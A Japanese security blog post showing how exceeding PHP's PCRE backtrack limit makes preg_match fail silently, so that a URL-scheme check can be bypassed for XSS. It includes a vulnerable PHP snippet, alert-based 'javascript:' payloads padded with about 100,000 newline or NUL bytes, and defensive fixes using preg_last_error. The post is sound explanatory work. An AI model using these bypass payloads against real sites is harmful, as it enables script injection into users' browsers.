今日は、PHPでよく使用される正規表現エンジンであるPCRE（Perl Compatible Regular Expression）の、余り知られていない（と思う）制約について書きます。
プログラム
題材は下のPHPプログラムです。
<?php header('Content-Type: text/html; charset=latin1'); $url = $_REQUEST['url']; if (preg_match('/^(.*?):/s', $url, $match)) { $scheme = $match[1]; if ($scheme !== 'http' && $scheme !== 'https') { exit; } } echo '<a href="'. htmlspecialchars($url). '">link</a>';
外部から受け取った「url」パラメータを、A要素のhref属性値に出力するプログラムです。HTMLに出力する際に、htmlspecialchars()によるエスケープをしています。また、URLにスキームが付いている場合には、スキームがhttp・httpsのいずれかであるかチェックして、そうでない場合はexitします。
このプログラムのロジックはあまりスマートではありませんが、少なくともXSS攻撃に対して安全なように見えます。私自身も、少し前まではそう思っていました。ところが実際には「ある方法」を使うことで、このプログラムのチェックは回避されてしまいます。
DOTALLオプション
上の「ある方法」についての話からはそれますが、この手の正規表現で比較的多いであろう間違い（私自身も実際に何件か遭遇したことがある間違いです）について書きます。
その間違いとは「.」が全文字にマッチすることを期待していながら「DOTALL」オプションをつけ忘れるというものです。DOTALLがないと「.」は改行文字（PCREでは基本的にU+000A）にマッチしないため、下のような値を与えるとチェックをすりぬけることができます。
url=[0x0A]javascript:alert(111)
しかし、冒頭のプログラムの正規表現にはs修飾子（DOTALL）がついているため、この手は使えません。攻略するには別の方法をとらなければなりません。
PCREの上限値
話が脇にそれましたが、ここから本題です。
実は冒頭のプログラムは、以下のPHP設定の上限値を悪用することで攻略できます。
名前 デフォルト 変更の可否 変更履歴 pcre.backtrack_limit "100000" PHP_INI_ALL PHP 5.2.0 以降で使用可能 pcre.recursion_limit "100000" PHP_INI_ALL PHP 5.2.0 以降で使用可能 （省略）
PHP: 実行時設定 - Manual
- pcre.backtrack_limit integer
PCRE のバックトラック処理の制限値です。
- pcre.recursion_limit integer
PCRE の再帰処理の制限値です。この値を大きくすると、 使用可能なプロセススタックを使い切ってしまい、 (OS のスタックサイズの制限値に達して) PHP をクラッシュさせてしまうことに注意しましょう。
実行時にこれらの上限を超えてしまうと何が起こるかというと、preg_match関数は「マッチしなかった」ときと同じく「0」を返します（preg_replace関数の場合は、上限を超えるとNULLを返します）。
冒頭のプログラムは、正規表現にマッチしない値は「安全」とみなすロジックになっています。このため上限を超えるような値を与えて本来はマッチするもののマッチを失敗させることで、攻撃を成功させることができます。
具体的には、設定値がデフォルト（100,000）から変更されていない場合、以下の文字列を与えてやればXSS攻撃が成功します。
Firefox： url=（100,000個の[0x0A]）javascript:alert(123) IE： url=javas（100,000個の[0x00]）cript:alert(123)
対策
冒頭のような単純なチェックであれば、正規表現を使わずに、より高速に動作するコードを書くことができます。しかし、ここではPCREを使うことを前提にした対策を書きます。
根本的な対策
上限値を超えたり、PCRE内で何かエラーが発生した場合、そのエラーコードはpreg_last_error関数で取得できます。バックトラックなどの上限に到達したことも、この関数で知ることができます。
これを利用して、下のコードのようにPCREのエラーを拾うことで、この種の攻撃を防ぐことができます。
<?php if (preg_match('/^(.*?):/s', $url, $match)) { (省略) } elseif (preg_last_error() !== PREG_NO_ERROR) { exit; }
もしくは、セキュリティに関わるチェックをPCREで行う場合は、マッチに失敗しうることを前提としたフローにするという対策もあります。要は「マッチしない場合はチェックOK」のフローはダメということです。
他の対策
他にも対策は考えられます。
- 入力値の長さを制限する AND/OR 設定を変更して上限値を大きくする
設定の上限値を大きくしても上限がなくなるわけではないことに注意が必要です。また、入力値の長さ制限も、どこまで制限すればよいのかの判断は難しいです。例えば、マッチ対象の文字列を100文字に制限しても、パターン次第では100回以上バックトラックが起こることがあります。
- バックトラックや再帰処理が発生しにくいパターンにする
例えば、冒頭のプログラムの場合、パターンを「/^([^:]*?):/s」にすればバックトラックの回数は大幅に減りました。ただ、ある正規表現が十分に効率的なものなのかを判断するには、正規表現エンジンについてのそれなりの知識が必要だと思います（私自身には無理です）。
この2つの対策は、それを実践したり、本当に正しく実践されているかの確認が難しいところがあります。ですので、あくまでも保険的な対策と考えるのがよいと思います。
上限値が存在する理由
実はバックトラックや再帰処理の上限値は、PHP固有のものではなく、PCREライブラリにもともと存在している設定項目です。PHPの設定値は、PHPからPCREライブラリを使う際の上限値をPCREにセットしているだけです。
したがって、PCREライブラリを使う全てのアプリケーションは、（PHPとは無関係のものであっても）PCREの上限値の影響を受けます。ちなみに、PCREライブラリ自体のデフォルトの上限値は、いずれも10,000,000です。PHPでPCREを使う際のデフォルト値よりも2ケタ大きい値となっており、PHPよりも影響は受けにくいのは確かですが、それでも上限値は存在します。
それでは、なぜこのような設定項目がPCREに存在するのかということですが、これはパターンを細工してマシンに過剰な負荷をかけさせたり、エンジンのバグを突くような攻撃の影響を軽減するためのセキュリティ機能だと思います。
なお、PHP（5.2以降）では、前述のようにPCREのデフォルトよりも2ケタ小さい上限値（100,000）が使われますが、この上限値はPCREがリソースを食いつぶすバグの影響を軽減するために導入された可能性があります。
参考：PHP :: Bug #40909 :: Segmentation Fault with preg_match_all
PCRE以外のエンジン
ちなみに、このような上限が実装されているのはPCREだけではないようです。試してませんが、Perlの正規表現エンジンも、以下のようなWarningを吐くことがあるようです。
参考：Complex regular subexpression recursion limit - Google 検索
それ以外の正規表現エンジンについては、軽くググってみたものの、上限が存在するものを見つけることはできませんでした。
テストした環境
PHP5.3.2＋PCRE 8.00の環境で試しています。
